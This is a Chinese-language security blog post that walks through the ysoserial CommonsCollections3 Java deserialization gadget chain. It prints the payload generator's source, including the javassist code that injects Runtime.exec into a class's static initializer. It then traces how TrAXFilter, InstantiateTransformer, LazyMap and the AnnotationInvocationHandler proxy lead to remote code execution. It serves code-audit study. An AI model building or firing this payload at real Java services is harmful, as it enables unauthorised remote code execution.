freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

java反序列化学习-ysoserial-CommonsCollections3
VegetaY 2023-06-16 23:59:52 131691
所属地 浙江省

CommonsCollections3

源码

  • commons-collections:commons-collections:3.1
package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import javax.xml.transform.Templates;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
public CommonsCollections3() {}
public Object getObject(String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})};
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
Map mapProxy = (Map)Gadgets.createMemoitizedProxy(lazyMap, Map.class, new Class[0]);
InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return handler;}
public static void main(String[] args) throws Exception {
PayloadRunner.run(CommonsCollections3.class, args);}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();}
}

直接开始看getObject方法

createTemplatesImpl

Object templatesImpl = Gadgets.createTemplatesImpl(command);

先看一下这次又搞了什么恶意的对象,进入createTemplatesImpl,传入command进入createTemplatesImpl(String command)这个构造函数经过一个三元运算,主要判断给具体的createTemplatesImpl方法传入什么参数。直接进入最终的createTemplatesImpl

T templates = tplClass.newInstance();

第一行代码创建了TemplatesImpl类型的对象

image-20230616135407322image-20230616135407322

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
CtClass clazz = pool.get(StubTransletPayload.class.getName());

利用javassist技术来构造类,javassist是一种可以修改字节码的技术,在这里可以理解成它创建了一个类。ClassPool.getDefault();创建一个类池里面又很多类包括jdk自带的那些,insertClassPath把一个类路径加到类池中,这样就可以从类池中获取它。pool.get(StubTransletPayload.class.getName());从类池里面获取StubTransletPayload类赋值给clazz,后面就可以修改clazz。

String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replace("\\", "\\\\").replace("\"", "\\\"") + "\");";
clazz.makeClassInitializer().insertAfter(cmd);

cmd是我们要执行的代码,调用Runtime包来执行我们想要执行的命令。clazz.makeClassInitializer().insertAfter(cmd);在clazz类中加一段静态代码快,就是static{}中的代码,这段代码好像。当类被加载时(即第一次使用该类时),JVM会执行该类的静态代码块。makeClassInitializer获取了该类的静态代码块,insertAfter(cmd)方法将cmd插入到静态代码块中,在原有代码的后面。

clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

setName为该类设置一个新的名称,从类池中获取abstTranslet类,setSuperclass(superC);abstTranslet设置成clazz的父类。

byte[] classBytes = clazz.toBytecode();

获取clazz的字节码赋值给字节数组classBytes

Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Foo.class)});
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());

Reflections.setFieldValue是用来设置属性值的,接收三个参数:要设置的类、属性名、设置的值。上面的代码分别设置了三个属性,最主要的还是_bytecodes属性,包含我们获得的classBytes。最后返回了设置好的对象templates

image-20230616141210576image-20230616141210576

transformerChain

Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});

这个在之前的文章中有分析过。在这里实例化一个Transformer类型的对象transformerChain,实例化时传入构造函数的参数是一个Transformer类型的数组,这个数组只有一个元素就是ConstantTransformer对象

先看new ConstantTransformer(1),这个类实现了Transformer和反序列化接口Serializable

public class ConstantTransformer implements Transformer, Serializable{}
public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}

构造方法也只是简单的将iConstant赋值成传入的constantToReturn也就是1。

接着回到new ChainedTransformer,ChainedTransformer本身也是Transformer的实现类,也可以被序列化。

public class ChainedTransformer implements Transformer, Serializable{}

image-20230616142044492image-20230616142044492

ChainedTransformer的构造方法也是简单的赋值工作,把iTransformers属性设置成传入的transformers。

Transformer

回到getObject方法,进入下一行。

Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})};

这里创建了一个Transformer类型的数组,里面有2个元素。

第一个元素new ConstantTransformer(TrAXFilter.class),是一个ConstantTransformer对象,与上面不同的时传入的参数是一个TrAXFilter类,简单看看TrAXFilter,这里非常关键的出现了_transformer = (TransformerImpl) templates.newTransformer();并且_templates可控的

public class TrAXFilter extends XMLFilterImpl {
private Templates              _templates;
private TransformerImpl        _transformer;
private TransformerHandlerImpl _transformerHandler;
private boolean _overrideDefaultParser;
public TrAXFilter(Templates templates)  throws TransformerConfigurationException {
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_overrideDefaultParser = _transformer.overrideDefaultParser();}

第二个元素new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})是一个InstantiateTransformer对象,传入的参数是一个Class数组包含一个Templatesl类。InstantiateTransformer的构造方法如下,接收俩参数,把Class[]类型的参数赋值给自己的iParamTypes属性。new Object[]{templatesImpl},是一个Object数组,唯一元素时我们创建好的恶意类templatesImpl并赋值给自己的iArgs属性

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;}

Proxy

回到getObject继续向下看,看到这熟悉的代码就知道它准备上java的动态代理了。

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

上面的代码先创建了一个HashMap对象然后调用decorate并将返回值赋值给lazyMap。进到decorate方法中

image-20230616143752190image-20230616143752190

看到它又进入到LazyMap方法中去。它把传入的factory赋值给自己的属性factory

image-20230616143852629image-20230616143852629

一路返回然后进入创建动态代理的步骤

Map mapProxy = (Map)Gadgets.createMemoitizedProxy(lazyMap, Map.class, new Class[0]);
InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

Gadgets.createMemoitizedProxy是创建动态代理方法,进入createMemoitizedProxy会直接调用createMemoizedInvocationHandler--->createProxy

createMemoizedInvocationHandler的作用是获取一个AnnotationInvocationHandler对象。

public static InvocationHandler createMemoizedInvocationHandler(Map<String, Object> map) throws Exception {
return (InvocationHandler)Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);}

这个AnnotationInvocationHandler有讲究,他是InvocationHandler的实现类,用它做动态代理之后,调用被代理对象的方法时会先进入AnnotationInvocationHandler的invoke方法。

看AnnotationInvocationHandler的构造方法,重点在它将传入的var1和var2赋值给自己的属性。

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");}
}

createMemoizedInvocationHandler(mapProxy)返回一个AnnotationInvocationHandler对象,与上面不同的是,此时传入的参数是上面得到的代理对象mapProxy

image-20230616151406051image-20230616151406051

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return handler;

修改transformerChain的属性iTransformers值为transformers,并返回了handler。getObject方法结束,接下去就是序列化的到payload接着反序列化执行payload。

总结

从反序列化的过程再看印证上面的步骤。getObject返回的handler是强制类型转换(InvocationHandler)之后的AnnotationInvocationHandler对象,AnnotationInvocationHandler不仅实现了InvocationHandler也实现了Serializable所以它可以进行序列化操作。同是它也对readObject方法进行重写,再反序列化时自动执行其中的代码。再getObject中创建handler对象是传入的参数就是代理对象mapProxy并且在AnnotationInvocationHandler的构造方法中被赋值给this.memberValues所以在readObject肯定有调用this.memberValues

image-20230616155615343image-20230616155615343

memberValues是我们创建的代理对象,会进入的invoke方法。但是我们在创建代理对象的时候,给当时的AnnotationInvocationHandler构造方法传入的参数是lazyMap

image-20230616160002663image-20230616160002663

所以在这次的invoke方法中Object var6 = this.memberValues.get(var4);调用的是lazyMapget方法。

image-20230616161819765image-20230616161819765

lazyMapLazyMap类的对象。所以调用的是LazyMap的get方法。

image-20230616160403801image-20230616160403801

在get方法中看见了令人熟悉的transform。回顾getObject方法,在创建这个lazyMap时我们传入了transformerChain,并且在LazyMap的构造方法中把transformerChain赋值给this.factory。所以this.factory.transform(key)实际上调用的是transformerChaintransform方法。

image-20230616160943685image-20230616160943685

看到transformerChaintransform,它遍历自己的iTransformers属性并调用其中元素的transform方法。在getObject中iTransformers被设置成transformers是一个数组。遍历第一个元素时,transformers的第一个元素是new ConstantTransformer(TrAXFilter.class),ConstantTransformer的构造方法将TrAXFilter.class赋值给iConstant属性,在transform方法将iConstant给return回来。所以第一次循环将object的值变成了TrAXFilter,随后这个object在第二次循环中被当作参数传入transform

image-20230616164431033image-20230616164431033

在遍历到第二个元素也就是new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})的时候进入InstantiateTransformertransform方法

image-20230616162638291image-20230616162638291

首先执行getConstructor获取inputinput=object=TrAXFilter)的有参构造方法,然后再使用newInstance实例化。所以会进入TrAXFilter的构造方法。

image-20230616165145865image-20230616165145865

在构造方法中调用templatesImplnewTransformer执行我们的字节码成功RCE

image-20230616165419390image-20230616165419390

# web安全 # 代码审计 # java反序列化 # Java代码审计 # ysoserial
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 VegetaY 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
VegetaY LV.4
这家伙太懒了,还未填写个人描述!
  • 13 文章数
  • 7 关注者
Shiro反序列化源码分析学习
2024-01-22
java反序列化学习-ysoserial-Spring1
2023-06-14
java反序列化学习-ysoserial-CommonsCollections2
2023-06-12
文章目录